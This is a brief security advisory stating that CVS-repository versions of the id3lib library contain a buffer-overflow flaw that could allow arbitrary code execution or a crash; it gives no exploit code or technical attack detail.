The 'id3lib' library is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects versions of id3lib committed to the CVS repository; other versions may also be affected.
